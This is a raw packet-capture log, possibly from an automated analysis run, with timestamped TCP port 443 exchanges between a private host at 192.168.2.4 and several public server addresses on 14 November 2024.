Nov 14, 2024 20:43:07.479149103 CET	49818	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:07.479233980 CET	443	49818	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:07.484946012 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.485044956 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.485064983 CET	49811	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.485095978 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.486409903 CET	49811	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.491683960 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.491837978 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.491872072 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.492105961 CET	49811	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.492125034 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.492403030 CET	49811	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.500252008 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.515738010 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.515783072 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.515928030 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.515960932 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.516078949 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.544872046 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.544980049 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.545392036 CET	49811	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.545414925 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.545593023 CET	49811	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.569206953 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.569284916 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.570091009 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.570111990 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.573446989 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.573812008 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.573823929 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.577644110 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.578177929 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.578186989 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.586253881 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.586956024 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.586966038 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.602493048 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.609055996 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.609146118 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.609184027 CET	49811	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.609205961 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.609287024 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.609312057 CET	49811	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.609323978 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.609405994 CET	49811	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.609832048 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.617971897 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.618074894 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.618079901 CET	49811	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.618104935 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.618154049 CET	49811	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.631115913 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.631167889 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.631357908 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.631373882 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.631477118 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.660365105 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.660510063 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.660578966 CET	49811	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.660602093 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.685022116 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.689121962 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.689189911 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.690089941 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.690109015 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.690284967 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.693255901 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.697200060 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.697340012 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.697349072 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.701981068 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.703037977 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.703046083 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.709837914 CET	49811	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.729211092 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.729403973 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.729496956 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.729583979 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.729661942 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.729659081 CET	49811	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.729742050 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.729769945 CET	49811	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.729904890 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.729993105 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.730036020 CET	49811	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.730067968 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.730088949 CET	49811	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.730093002 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.733792067 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.734039068 CET	49811	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.734127045 CET	49811	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.734168053 CET	443	49811	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.746643066 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.746694088 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.747380972 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.747466087 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.747601986 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.800570965 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.800653934 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.800930023 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.800961971 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.808569908 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.808619022 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.808747053 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.808782101 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.809045076 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.812109947 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.817574024 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.817639112 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.817672014 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.862092018 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.892404079 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.892461061 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.892539978 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.892663956 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.892699003 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.894414902 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.916186094 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.924160004 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.924272060 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.924323082 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.924357891 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.924391031 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.924491882 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.924500942 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.927350998 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.932920933 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.973277092 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.973308086 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.975168943 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:07.978292942 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:07.978303909 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.012027979 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.012082100 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.012303114 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:08.012336016 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.012428045 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:08.031795979 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.040483952 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.040520906 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.040580988 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:08.040616989 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.040632963 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.040688992 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:08.040688992 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:08.048644066 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.091046095 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.091150999 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.091279030 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:08.091332912 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.094161034 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:08.126832008 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.144896984 CET	443	49816	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:08.145250082 CET	49816	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:08.145318031 CET	443	49816	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:08.145881891 CET	443	49816	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:08.146085978 CET	49816	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:08.146886110 CET	443	49816	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:08.147068024 CET	49816	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:08.147136927 CET	49816	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:08.147238016 CET	443	49816	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:08.147269011 CET	49816	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:08.147444963 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.147500992 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:08.147531986 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.147631884 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.147674084 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:08.147684097 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.155767918 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.155824900 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:08.155843019 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.155870914 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.155910015 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:08.155944109 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.164797068 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.164849997 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:08.164872885 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.187362909 CET	443	49816	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:08.197400093 CET	49816	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:08.197463036 CET	443	49816	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:08.206813097 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.206887007 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.206887960 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:08.206923008 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.206965923 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:08.242702961 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.257365942 CET	49816	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:08.263569117 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.263636112 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:08.263659954 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.263684034 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.263725042 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:08.263770103 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.271377087 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.271461964 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:08.271469116 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.271492958 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.271536112 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:08.271576881 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.280157089 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.280260086 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:08.280292034 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.323371887 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.323443890 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:08.323476076 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.356388092 CET	443	49818	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:08.358238935 CET	49818	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:08.358325958 CET	443	49818	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:08.359213114 CET	443	49818	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:08.359385014 CET	49818	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:08.359457016 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.359500885 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:08.359513998 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.364547968 CET	49818	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:08.364547968 CET	49818	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:08.364638090 CET	443	49818	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:08.364698887 CET	443	49818	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:08.378462076 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.378550053 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.378674030 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.378695011 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:08.378726006 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.378751040 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.378833055 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:08.378833055 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:08.386950970 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.387113094 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.387165070 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:08.387182951 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.387267113 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.387310982 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:08.387327909 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.395963907 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.396013975 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:08.396048069 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.420387030 CET	49818	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:08.420449018 CET	443	49818	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:08.425884008 CET	443	49816	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:08.425986052 CET	443	49816	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:08.426151991 CET	49816	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:08.426218987 CET	443	49816	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:08.426887035 CET	49816	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:08.427030087 CET	443	49816	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:08.427093029 CET	49816	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:08.436399937 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:08.438620090 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.468370914 CET	49818	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:08.475840092 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.475904942 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:08.475938082 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.494152069 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.494230032 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.494249105 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:08.494263887 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.494302988 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:08.494311094 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.502968073 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.503021955 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:08.503031969 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.503161907 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.503211021 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.503218889 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:08.503238916 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.503282070 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:08.503350973 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.511626005 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.511689901 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:08.511698008 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.511720896 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.511763096 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:08.553951979 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.599008083 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:08.599039078 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.644815922 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:08.993319035 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.993360996 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.993407965 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:08.993439913 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.993674040 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.993706942 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:08.993716002 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.993804932 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.993845940 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:08.994107962 CET	49815	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:08.994123936 CET	443	49815	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:08.994112968 CET	443	49818	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:08.994169950 CET	443	49818	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:08.994188070 CET	443	49818	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:08.994220972 CET	443	49818	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:08.994263887 CET	443	49818	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:08.994292974 CET	443	49818	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:08.994313955 CET	443	49818	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:08.994343042 CET	443	49818	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:08.994360924 CET	49818	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:08.994360924 CET	49818	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:08.994360924 CET	49818	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:08.994400978 CET	443	49818	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:08.994415045 CET	443	49818	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:08.994424105 CET	49818	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:08.994458914 CET	49818	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:09.003089905 CET	443	49818	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:09.003145933 CET	443	49818	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:09.003209114 CET	443	49818	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:09.003298998 CET	49818	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:09.003298998 CET	49818	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:09.003421068 CET	49818	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:09.003462076 CET	443	49818	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:09.009480000 CET	49819	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:09.009567976 CET	443	49819	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:09.009650946 CET	49819	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:09.010102987 CET	49819	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:09.010190010 CET	443	49819	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:09.042835951 CET	49820	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:09.042889118 CET	443	49820	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:09.042948961 CET	49820	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:09.043356895 CET	49820	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:09.043369055 CET	443	49820	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:09.896157026 CET	443	49819	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:09.896539927 CET	49819	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:09.896603107 CET	443	49819	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:09.897104025 CET	443	49819	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:09.898408890 CET	49819	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:09.898504972 CET	443	49819	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:09.898561954 CET	49819	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:09.901999950 CET	443	49820	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:09.902632952 CET	49820	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:09.902650118 CET	443	49820	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:09.903779030 CET	443	49820	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:09.906543970 CET	49820	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:09.906543970 CET	49820	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:09.906565905 CET	443	49820	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:09.906687975 CET	443	49820	142.250.184.238	192.168.2.4
Nov 14, 2024 20:43:09.940074921 CET	49819	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:09.940138102 CET	443	49819	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:09.958482981 CET	49820	443	192.168.2.4	142.250.184.238
Nov 14, 2024 20:43:10.144004107 CET	443	49819	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:10.144115925 CET	443	49819	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:10.144177914 CET	443	49819	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:10.144267082 CET	443	49819	142.250.186.46	192.168.2.4
